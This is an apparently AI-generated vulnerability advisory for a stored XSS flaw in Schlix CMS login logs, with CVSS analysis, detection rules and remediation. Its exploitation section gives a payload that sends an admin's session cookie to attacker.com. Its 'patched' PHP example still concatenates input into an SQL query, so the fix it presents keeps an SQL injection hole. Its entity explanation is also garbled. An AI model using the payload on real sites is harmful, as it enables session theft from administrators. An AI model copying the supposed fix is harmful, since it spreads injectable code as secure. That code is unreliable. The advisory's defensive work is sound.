CVE-2025-67443

Executive Summary

CVE-2025-67443 is a stored Cross-Site Scripting (XSS) vulnerability in Schlix CMS versions prior to v2.2.9-5. The flaw resides in the login form, where failed login attempts are logged without proper JavaScript sanitization. When an administrator views the login logs in the admin panel, the malicious script embedded in the username field executes in their browser context. This allows an unauthenticated attacker to inject arbitrary JavaScript, potentially leading to session hijacking, credential theft, or defacement of the admin interface. The vulnerability is publicly known, with a proof-of-concept available, but no active exploitation in the wild has been reported (EPSS 0.0%). The vendor has released a patched version (v2.2.9-5) that sanitizes log entries.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a direct vulnerability in the Schlix CMS PHP application.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N) – The attacker can trigger the vulnerability remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – The attacker does not need to be authenticated.
• User Interaction: Required (UI:R) – The victim (admin) must view the login logs.
• Scope: Changed (S:C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure (e.g., session tokens).
• Integrity Impact: Low (I:L) – Limited modification of admin interface content.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The requirement for user interaction (admin viewing logs) reduces the immediate risk, but the potential for session hijacking and admin panel compromise makes it a significant concern for unpatched instances.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the login logging mechanism of Schlix CMS.

1. Entry Point: The login form's username field. An attacker submits a crafted username containing JavaScript, e.g., <script>alert('XSS')</script>.
2. Storage: The CMS logs the failed login attempt, including the unsanitized username, into a database or log file.
3. Trigger: An administrator navigates to the admin panel's "Login Logs" or similar section to review failed attempts.
4. Execution: The application retrieves the log entries and renders them in the admin's browser without proper output encoding. The injected JavaScript executes in the context of the admin panel, allowing the attacker to perform actions as the admin.

Root Cause: The application fails to sanitize or encode user-supplied input (the username) before storing it in logs and later displaying it in the admin interface. The fix in v2.2.9-5 likely involves HTML entity encoding or stripping script tags from log entries.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual PHP):

// In login.php or similar
$username = $_POST['username'];
// ... authentication logic fails ...
$log_entry = "Failed login attempt for user: " . $username;
// Store $log_entry in database without sanitization
$db->query("INSERT INTO login_logs (entry) VALUES ('$log_entry')");

Patched Code (Conceptual PHP):

// In login.php or similar
$username = $_POST['username'];
// Sanitize the username before logging
$sanitized_username = htmlspecialchars($username, ENT_QUOTES, 'UTF-8');
$log_entry = "Failed login attempt for user: " . $sanitized_username;
// Store $log_entry in database
$db->query("INSERT INTO login_logs (entry) VALUES ('$log_entry')");

The patched version uses htmlspecialchars() to convert special characters like < and > into their HTML entities (< and >), preventing script execution when the log is displayed.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target running Schlix CMS < v2.2.9-5.
• Access to the login page.

Exploit Steps:

1. Navigate to the Schlix CMS login page.
2. In the username field, enter a malicious payload. For example, to steal the admin's session cookie:

   <script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
   

3. Enter any password (the login will fail).
4. Wait for an administrator to view the login logs in the admin panel.
5. When the admin views the logs, the script executes, sending the admin's session cookie to the attacker's server.

Proof-of-Concept (PoC) Payload:

<script>alert('XSS')</script>

Blue Team (Detection & Prevention)

Detection:

• Monitor login logs for unusual usernames containing HTML tags or JavaScript code.
• Use a Web Application Firewall (WAF) to block requests with <script> tags in the username field.
• Implement Content Security Policy (CSP) headers in the admin panel to restrict script execution.

Prevention:

• Immediately upgrade to Schlix CMS v2.2.9-5.
• If upgrading is not possible, apply a virtual patch using a WAF to sanitize the username field.
• Restrict access to the admin panel to trusted IP addresses only.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /login.php or similar with a username parameter containing <script> tags.
  • Outbound HTTP requests from the admin panel to unknown external domains (e.g., attacker.com/steal.php).
• Host IOCs:
  • Log entries in the CMS database containing HTML/JavaScript code in the username field.
  • Unexpected admin panel activity, such as creation of new admin users or modification of site content.
• File IOCs:
  • Suspicious entries in web server access logs showing failed login attempts with encoded or raw JavaScript in the username.

Detection Engineering

YARA Rule

rule CVE_2025_67443_Schlix_XSS_Logs {
    meta:
        description = "Detects potential XSS payloads in Schlix CMS login logs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67443"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $log_entry = "Failed login attempt for user:"
    condition:
        $log_entry and $xss_payload
}

Sigma Rule

title: CVE-2025-67443 - Schlix CMS Stored XSS via Login Logs
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects failed login attempts with XSS payloads in the username field targeting Schlix CMS.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'username='
        cs-uri-query|re: 'username=.*<script'
    condition: selection
falsepositives:
    - Legitimate usernames containing '<script>' (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-67443 - Schlix CMS Stored XSS via Login Logs"; flow:to_server,established; content:"POST"; http_method; content:"/login.php"; http_uri; content:"username="; http_client_body; pcre:"/username=.*<script/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Schlix CMS to version 2.2.9-5 or later. This is the only complete fix.
2. Virtual Patching: If immediate upgrade is not possible, deploy a WAF rule to block requests containing <script> in the username parameter.
3. Log Review: Audit existing login logs for any signs of XSS payloads. If found, assume admin accounts may be compromised and rotate all admin credentials.

Long-Term Mitigations:

• Implement Content Security Policy (CSP) headers for the admin panel to restrict script execution.
• Enforce strict input validation and output encoding for all user-supplied data.
• Regularly update all CMS components and plugins.
• Monitor for any unusual admin panel activity.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.